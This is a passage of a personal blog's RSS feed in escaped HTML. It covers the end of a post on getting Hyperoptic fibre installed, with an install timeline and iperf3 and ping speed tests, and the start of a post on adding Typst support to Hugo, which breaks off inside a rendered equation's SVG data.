srcset="https://george.honeywood.org.uk/blog/hyperoptic/images/point-of-entry-module_hu_7341ac148be45684.webp 320w, https://george.honeywood.org.uk/blog/hyperoptic/images/point-of-entry-module_hu_8021377e08dbfdd.webp 640w, https://george.honeywood.org.uk/blog/hyperoptic/images/point-of-entry-module_hu_842b409befa17ab7.webp 960w, https://george.honeywood.org.uk/blog/hyperoptic/images/point-of-entry-module_hu_8c6a36b9a3ab7ac3.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/hyperoptic/images/point-of-entry-module_hu_c9b14a022d6454c4.jpg'
width="1280"
height="961"
loading="lazy"
alt='Fibre point of entry module'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Point of entry module, one of these is installed above each flat&amp;rsquo;s door
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll report back here once the install is complete &amp;mdash; hopefully it&amp;rsquo;ll be done in the next few weeks, without too much more faff. I&amp;rsquo;m looking forward to the promised 1 Gbps speeds and latency in the single digit millis. The download speed will be ~30x our current speed, with the upload ~100x faster!&lt;/p&gt;
&lt;h2 id="update"&gt;Update&lt;/h2&gt;
&lt;p&gt;It took a bit longer than expected, but our Hyperoptic fibre is now working! Here&amp;rsquo;s a timeline:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2026-07-24: Hyperoptic door-to-door salesperson signed us up, with an inital install date of 2026-07-29.&lt;/li&gt;
&lt;li&gt;2026-07-29: Hyperoptic contractors turned up, but they were expecting one the of the aforementioned point of entry modules to already be installed above the flat door, so couldn&amp;rsquo;t proceed.&lt;/li&gt;
&lt;li&gt;2026-08: Throughout August Hyperoptic support have a long email chain with the building management company and the freeholder, with the premise that Hyperoptic might need to penetrate the fire batting in the riser.&lt;br&gt;
This was confusing to me, as fibre had already been installed to other flats via the stairwell, not the riser!&lt;/li&gt;
&lt;li&gt;2026-08-26: Another Hyperoptic contractor attends, but they could not install the point of entry module, as the flats above us in the building were already live &amp;ndash; and connecting our flat would have disrupted their service.&lt;/li&gt;
&lt;li&gt;2026-09-04: A third group of Hyperoptic contactors attend, armed with a planned work order, and they install the fibre into the flat. Turns out the sticking point was that our flat has a metal beam above the door, which apparently the other flats don&amp;rsquo;t have. They instead drilled through the door frame.&lt;br&gt;
The contractors also set up the router, but Hyperoptic&amp;rsquo;s phone support was was not able to activate the service. Support said it would take 12-24 hours to activate.&lt;/li&gt;
&lt;li&gt;2026-09-05: I call Hyperoptic support, and they escalate the activation issue.&lt;/li&gt;
&lt;li&gt;2026-09-06: I call Hyperoptic support again.&lt;/li&gt;
&lt;li&gt;2026-09-08: The service is activated and working!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The speeds &amp;amp; latency are as good as I was hoping for, and I&amp;rsquo;ve not seen any reliability issues so far.
Downloading from my VPS:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@desktop:~$ iperf3 -P &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; -Rc hetzner.honeyfox.uk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connecting to host hetzner.honeyfox.uk, port &lt;span style="color:#ae81ff"&gt;5201&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Reverse mode, remote host hetzner.honeyfox.uk is sending
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;-snip-&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt; ID&lt;span style="color:#f92672"&gt;]&lt;/span&gt; Interval Transfer Bitrate Retr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;SUM&lt;span style="color:#f92672"&gt;]&lt;/span&gt; 0.00-10.03 sec 1.06 GBytes &lt;span style="color:#ae81ff"&gt;912&lt;/span&gt; Mbits/sec &lt;span style="color:#ae81ff"&gt;790&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Uploading:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@desktop:~$ iperf3 -c hetzner.honeyfox.uk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connecting to host hetzner.honeyfox.uk, port &lt;span style="color:#ae81ff"&gt;5201&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;-snip-&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt; ID&lt;span style="color:#f92672"&gt;]&lt;/span&gt; Interval Transfer Bitrate Retr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt; 5&lt;span style="color:#f92672"&gt;]&lt;/span&gt; 0.00-10.01 sec 1.07 GBytes &lt;span style="color:#ae81ff"&gt;916&lt;/span&gt; Mbits/sec &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ping to Cloudflare is circa 2 ms:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@desktop:~$ ping -c &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PING 1.1 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;1.0.0.1&lt;span style="color:#f92672"&gt;)&lt;/span&gt; 56&lt;span style="color:#f92672"&gt;(&lt;/span&gt;84&lt;span style="color:#f92672"&gt;)&lt;/span&gt; bytes of data.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;2.02 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1.89 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;2.05 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1.99 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1.70 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1.55 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;2.53 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;2.43 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1.92 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 1.0.0.1: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;2.17 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--- 1.1 ping statistics ---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; packets transmitted, &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; received, 0% packet loss, time 9011ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rtt min/avg/max/mdev &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 1.554/2.022/2.527/0.282 ms
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Proper Hugo Typst support</title><link>https://george.honeywood.org.uk/blog/typst-and-hugo-properly/</link><pubDate>Sun, 02 Nov 2025 12:29:41 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/typst-and-hugo-properly/</guid><description>
&lt;p&gt;This post is written in Typst!&lt;/p&gt;
&lt;p&gt;I had a first pass at making Hugo deal with Typst’s HTML export support last weekend, see &lt;a href="https://george.honeywood.org.uk/blog/typst-and-hugo/"&gt;Typst + Hugo&lt;/a&gt;. It worked, but not very well! It was OK for one dedicated page, but not good enough for writing normal blog posts with. You had to add a dedicated template for each page, and manually export the &lt;code&gt;.typ&lt;/code&gt; files to HTML out of band from Hugo.&lt;/p&gt;
&lt;p&gt;A couple of years ago, this topic got a bit of discussion on the &lt;a href="https://discourse.gohugo.io/t/how-can-i-introduce-a-new-markup-language-typst-for-hugo/44848"&gt;Hugo forum&lt;/a&gt;. This was before Typst could natively export HTML, however, so it would have had to be done via &lt;code&gt;pandoc&lt;/code&gt; or some other third-party tool — it makes much more sense now Typst can render its’ own HTML.&lt;/p&gt;
&lt;p&gt;Conveniently Hugo’s codebase is pretty pluggable when it comes to markup formats, it’s not wedded to Markdown. Hugo also has support for Asciidoc, pandoc, and reStructuredText/RST, among others. The &lt;code&gt;pandoc&lt;/code&gt; support uses pandoc as as an “external renderer”, where Hugo just shells out to the system &lt;code&gt;pandoc&lt;/code&gt; binary generate the HTML — this is pretty much exactly what I want. I asked GitHub Copilot to have a go and it did quite a good job, I had &lt;a href="https://github.com/gohugoio/hugo/compare/master...GeorgeHoneywood:hugo:typst"&gt;something working&lt;/a&gt; after only a couple of iterations.&lt;/p&gt;
&lt;p&gt;This gives a pretty ideal experience for me. Live reload works properly, and all I have to do to write posts in Typst is create files with a &lt;code&gt;.typ&lt;/code&gt; extension instead of &lt;code&gt;.md&lt;/code&gt;!&lt;/p&gt;
&lt;figure&gt;
&lt;video
class="video-shortcode"
controls
muted
loop
width="1276"
height="720"
style="aspect-ratio: 1276 / 720" &gt;
&lt;source src="https://george.honeywood.org.uk/blog/typst-and-hugo-properly/images/demo-1276x720.mp4" type="video/mp4"&gt;
There should have been a video here, but your browser does not seem
to support it.
You can try visiting &lt;a href="https://george.honeywood.org.uk/blog/typst-and-hugo-properly/images/demo-1276x720.mp4"&gt;/blog/typst-and-hugo-properly/images/demo-1276x720.mp4&lt;/a&gt; instead.
&lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;You can do magical Typst stuff like equations:&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typst"&gt;&lt;span style="color: #198810"&gt;$&lt;/span&gt; &lt;span style="color: #8b41b1"&gt;sum&lt;/span&gt;&lt;span style="color: #1d6c76"&gt;_&lt;/span&gt;(k=0)&lt;span style="color: #1d6c76"&gt;^&lt;/span&gt;n k&lt;br&gt; &lt;span style="color: #1d6c76"&gt;&amp;amp;&lt;/span&gt;= 1 + &lt;span style="color: #1d6c76"&gt;...&lt;/span&gt; + n &lt;span style="color: #1d6c76"&gt;\&lt;/span&gt;&lt;br&gt; &lt;span style="color: #1d6c76"&gt;&amp;amp;&lt;/span&gt;= (n(n+1)) &lt;span style="color: #1d6c76"&gt;/&lt;/span&gt; 2 &lt;span style="color: #198810"&gt;$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Which renders to this:&lt;/p&gt;
&lt;div class="typst-equation"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 7.862111111111114em; height: 5.3435em;" viewBox="0 0 86.48322222222225 58.7785" width="86.48322222222225pt" height="58.7785pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 16.1227)"&gt;&lt;use xlink:href="#g50E25A7F953A09F6FF7A6DC2271DFE01" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 5.2239 3.3956999999999993)"&gt;&lt;use xlink:href="#g7588CCEE7CF37CFEF3F3AE1D7B608269" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0.4191000000000006 28.253499999999995)"&gt;&lt;use xlink:href="#g850FD908E3822F97A6F754F63F4D9F61" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 5.093 28.253499999999995)"&gt;&lt;use xlink:href="#g76A24060547A937549671D197926B965" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 11.0836 28.253499999999995)"&gt;&lt;use xlink:href="#gC3162A99CC13006AF7DF373A81A99390" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 17.717333333333336 16.1227)"&gt;&lt;use xlink:href="#gFF343F9EA1B4E55468E4138751DE9EEC" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 26.66888888888889 16.1227)"&gt;&lt;use xlink:href="#gEF8BA589DAA93C55687BBE9F18D785DF" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 38.282444444444444 16.1227)"&gt;&lt;use xlink:href="#g2F3432F0380DABEBAA7D153F272AC8F3" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 46.226888888888894 16.1227)"&gt;&lt;use xlink:href="#g47CD197A6E96793962ED8F7E2A9BF9CE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 57.22933333333334 16.1227)"&gt;&lt;use xlink:href="#g1238AD826F5480B4BA5E13D8710EE24A" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 68.8807777777778 16.1227)"&gt;&lt;use xlink:href="#g47CD197A6E96793962ED8F7E2A9BF9CE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 79.88322222222224 16.1227)"&gt;&lt;use xlink:href="#gE2B7E3D264F2F7FB4E5DAE10F9857908" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 26.66888888888889 51.2325)"&gt;&lt;use xlink:href="#gEF8BA589DAA93C55687BBE9F18D785DF" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 39.382444444444445 43.7855)"&gt;&lt;use xlink:href="#gE2B7E3D264F2F7FB4E5DAE10F9857908" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 45.98244444444445 43.7855)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 50.26144444444444 43.7855)"&gt;&lt;use xlink:href="#gE2B7E3D264F2F7FB4E5DAE10F9857908" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 59.30588888888889 43.7855)"&gt;&lt;use xlink:href="#g47CD197A6E96793962ED8F7E2A9BF9CE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 70.30833333333332 43.7855)"&gt;&lt;use xlink:href="#g2F3432F0380DABEBAA7D153F272AC8F3" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 75.80833333333332 43.7855)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 56.98488888888889 58.7785)"&gt;&lt;use xlink:href="#g19DB37D42873A9E80AFC41942A4D40C4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;path class="typst-shape" fill="none" stroke="#000000" stroke-width="0.528" stroke-linecap="butt" stroke-linejoin="miter" stroke-miterlimit="4" transform="matrix(1 0 0 1 39.382444444444445 48.4825)" d="M 0 0h 40.704887 "/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g50E25A7F953A09F6FF7A6DC2271DFE01" overflow="visible"&gt;&lt;path d="M 0 0m 13.915 -4.95 l 1.3640003 3.586 h -0.37400055 c -0.20899963 -0.5500001 -0.5609999 -1.012 -1.0669994 -1.386 c -1.243 -0.924 -2.8380003 -1.1659999 -5.137 -1.1659999 h -6.5010004 l 5.5 6.468 c 0.07700014 0.0769999 0.11000013 0.15400004 0.11000013 0.20899987 l -5.126 7.073 h 5.9069996 c 2.0790005 0 3.8060007 -0.26399994 4.939 -0.9899998 c 0.65999985 -0.41800022 1.1219997 -0.93499994 1.3860006 -1.5510001 h 0.36299992 l -1.3640003 3.157 h -12.947 c -0.19800001 0 -0.30800003 -0.032999992 -0.34100002 -0.09899998 c -0.010999978 -0.032999992 -0.010999978 -0.16499996 -0.010999978 -0.3959999 l 5.7749996 -7.898 l -5.6429996 -6.6219997 c -0.07700002 -0.08799982 -0.12100005 -0.16499996 -0.12100005 -0.21999979 c 0 -0.11000013 0.110000014 -0.16499996 0.34100002 -0.16499996 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g7588CCEE7CF37CFEF3F3AE1D7B608269" overflow="visible"&gt;&lt;path d="M 0 0m 1.2628 3.3957 c -0.25409997 0 -0.462 -0.13860011 -0.62369996 -0.42350006 c -0.10780001 -0.19249988 -0.19250003 -0.39269996 -0.24640003 -0.61599994 c -0.023099989 -0.08470011 -0.030799985 -0.1308999 -0.030799985 -0.14630008 c 0 -0.08469987 0.053900003 -0.1308999 0.16169998 -0.1308999 c 0.14630002 0 0.15400004 0.08470011 0.1925 0.24639988 c 0.13090003 0.53130007 0.30799997 0.8008001 0.53130007 0.8008001 c 0.14629996 0 0.2155999 -0.11549997 0.2155999 -0.34649992 c 0 -0.08470011 -0.03849995 -0.28489995 -0.12319994 -0.61599994 l -0.4081 -1.6478001 c -0.053900003 -0.20790002 -0.07700002 -0.31570002 -0.07700002 -0.32340002 c 0 -0.1771 0.10010004 -0.2695 0.29260004 -0.2695 c 0.14629996 0 0.25409997 0.0616 0.32340002 0.1848 c 0.023100019 0.0462 0.06929994 0.20789999 0.13859999 0.4774 l 0.16170001 0.67759997 c 0.092399955 0.36189997 0.14629996 0.56210005 0.16170001 0.6083 c 0.06159997 0.20020008 0.15399992 0.39269996 0.28489983 0.56980014 c 0.32340002 0.45429993 0.6930001 0.6852999 1.1165001 0.6852999 c 0.27719998 0 0.41579986 -0.16939998 0.41579986 -0.50049996 c 0 -0.30030012 -0.14629984 -0.83159995 -0.44659996 -1.6016 c -0.0769999 -0.20019996 -0.11549997 -0.33879995 -0.11549997 -0.42349994 c 0 -0.4158 0.33879995 -0.6776 0.75460005 -0.6776 c 0.36189985 0 0.6545 0.1848 0.86240005 0.5544 c 0.1770997 0.3157 0.2617998 0.52360004 0.2617998 0.6313999 c 0 0.08470011 -0.053899765 0.13090003 -0.1539998 0.13090003 c -0.05390024 -0.0076999664 -0.10780001 -0.046199918 -0.16170025 -0.12319994 c -0.0076999664 -0.0077000856 -0.0076999664 -0.023100019 -0.0076999664 -0.030799985 c -0.1770997 -0.59290004 -0.4389 -0.89320004 -0.77769995 -0.89320004 c -0.10780001 0 -0.16170001 0.07699999 -0.16170001 0.2387 c 0 0.10779998 0.06160021 0.308 0.17710018 0.6006 c 0.26950002 0.6853 0.40039992 1.1780999 0.40039992 1.4707 c 0 0.3541999 -0.12319994 0.6006 -0.36189985 0.7314999 c -0.19250011 0.10780001 -0.4158001 0.16170001 -0.65450025 0.16170001 c -0.50049996 0 -0.9239998 -0.21560001 -1.2628 -0.64680004 c -0.06929994 0.37730002 -0.40039992 0.64680004 -0.8392999 0.64680004 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g850FD908E3822F97A6F754F63F4D9F61" overflow="visible"&gt;&lt;path d="M 0 0m 4.3659 2.8567 c 0 0.33879995 -0.27720022 0.56209993 -0.6160002 0.56209993 c -0.34649992 0 -0.7545998 -0.22329998 -1.2319999 -0.6775999 c -0.34649992 -0.3311 -0.6237 -0.5467 -0.8162 -0.6391001 l 0.7392001 2.9722 c 0.0076999664 0.015399933 0.015399933 0.06160021 0.030799866 0.13090038 c 0 0.0923996 -0.053900003 0.13859987 -0.15400004 0.13859987 l -0.97019994 -0.07700014 c -0.13090003 -0.0076999664 -0.1925 -0.07700014 -0.1925 -0.20790005 c 0 -0.08470011 0.07700002 -0.1308999 0.22329998 -0.1308999 c 0.13090003 0 0.33880007 0 0.33880007 -0.08470011 c 0 -0.030799866 -0.0077000856 -0.08470011 -0.030799985 -0.16169977 c -0.36960006 -1.4707 -0.72380006 -2.9568 -1.1011 -4.4198003 c -0.007700026 -0.030799985 -0.007700026 -0.05389999 -0.007700026 -0.0616 c 0 -0.1848 0.092400014 -0.27719998 0.2849 -0.27719998 c 0.19250005 0 0.3157 0.1155 0.37729996 0.33879998 c 0.12320006 0.46969998 0.3003 1.1703999 0.36960006 1.4553001 c 0.60829985 -0.069300056 0.91629994 -0.26180005 0.91629994 -0.59290004 c 0 -0.06929994 -0.046200037 -0.3157 -0.046200037 -0.385 c 0 -0.4774 0.3619001 -0.8162 0.83159995 -0.8162 c 0.27720022 0 0.50820017 0.13859999 0.6853001 0.4158 c 0.16170001 0.25409997 0.26180005 0.5082 0.30799985 0.7777 c 0 0.08469999 -0.053899765 0.13090003 -0.1539998 0.13090003 c -0.046200275 0 -0.07700014 -0.0077000856 -0.10010004 -0.023100019 c -0.038499832 -0.069300056 -0.06929994 -0.13090003 -0.0769999 -0.18480003 c -0.15400004 -0.5621 -0.36960006 -0.83930004 -0.6391001 -0.83930004 c -0.15400004 0 -0.23099995 0.1232 -0.23099995 0.3619 c 0 0.092400014 0.015399933 0.20020002 0.038499832 0.3311 c 0.023100138 0.08469999 0.03850007 0.16170007 0.03850007 0.24640006 c 0 0.3311 -0.16939998 0.56209993 -0.5158999 0.6775999 c -0.21560001 0.07700002 -0.43120003 0.13090003 -0.64680004 0.15400004 c 0.14630008 0.10010004 0.3311 0.25410008 0.55439997 0.45429993 c 0.3619001 0.32340002 0.70070004 0.7161 1.1703999 0.7161 c 0.08470011 0 0.14630008 -0.015399933 0.19250011 -0.0461998 c -0.23869991 -0.06160021 -0.3619001 -0.20790005 -0.3619001 -0.4466002 c 0 -0.18479991 0.14630008 -0.31569982 0.3311 -0.31569982 c 0.27719998 0 0.46200013 0.24639988 0.46200013 0.52359986 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g76A24060547A937549671D197926B965" overflow="visible"&gt;&lt;path d="M 0 0m 5.3746 2.8259 h -4.7585998 c -0.1232 0 -0.1848 -0.06160021 -0.1848 -0.17710018 c 0 -0.11549997 0.0616 -0.17709994 0.1848 -0.17709994 h 4.7585998 c 0.12319994 0 0.18480015 0.06159997 0.18480015 0.17709994 c 0 0.092400074 -0.08470011 0.17710018 -0.18480015 0.17710018 Z m 0 -1.4476001 h -4.7585998 c -0.1232 0 -0.1848 -0.06159997 -0.1848 -0.17709994 c 0 -0.11549997 0.0616 -0.17710006 0.1848 -0.17710006 h 4.7585998 c 0.12319994 0 0.18480015 0.06160009 0.18480015 0.17710006 c 0 0.10010004 -0.08470011 0.17709994 -0.18480015 0.17709994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gC3162A99CC13006AF7DF373A81A99390" overflow="visible"&gt;&lt;path d="M 0 0m 3.9732 2.4563 c 0 0.8701 -0.15400004 1.5323 -0.45430017 1.9866002 c -0.24639988 0.38499975 -0.7391999 0.66989994 -1.3320999 0.66989994 c -0.2464 0 -0.46969998 -0.03850031 -0.6622 -0.12319994 c -0.847 -0.35420036 -1.1242001 -1.3398001 -1.1242001 -2.5333002 c 0 -0.26180005 0.015400022 -0.50820005 0.03850001 -0.7469001 c 0.13090003 -1.0086999 0.6006 -1.8634 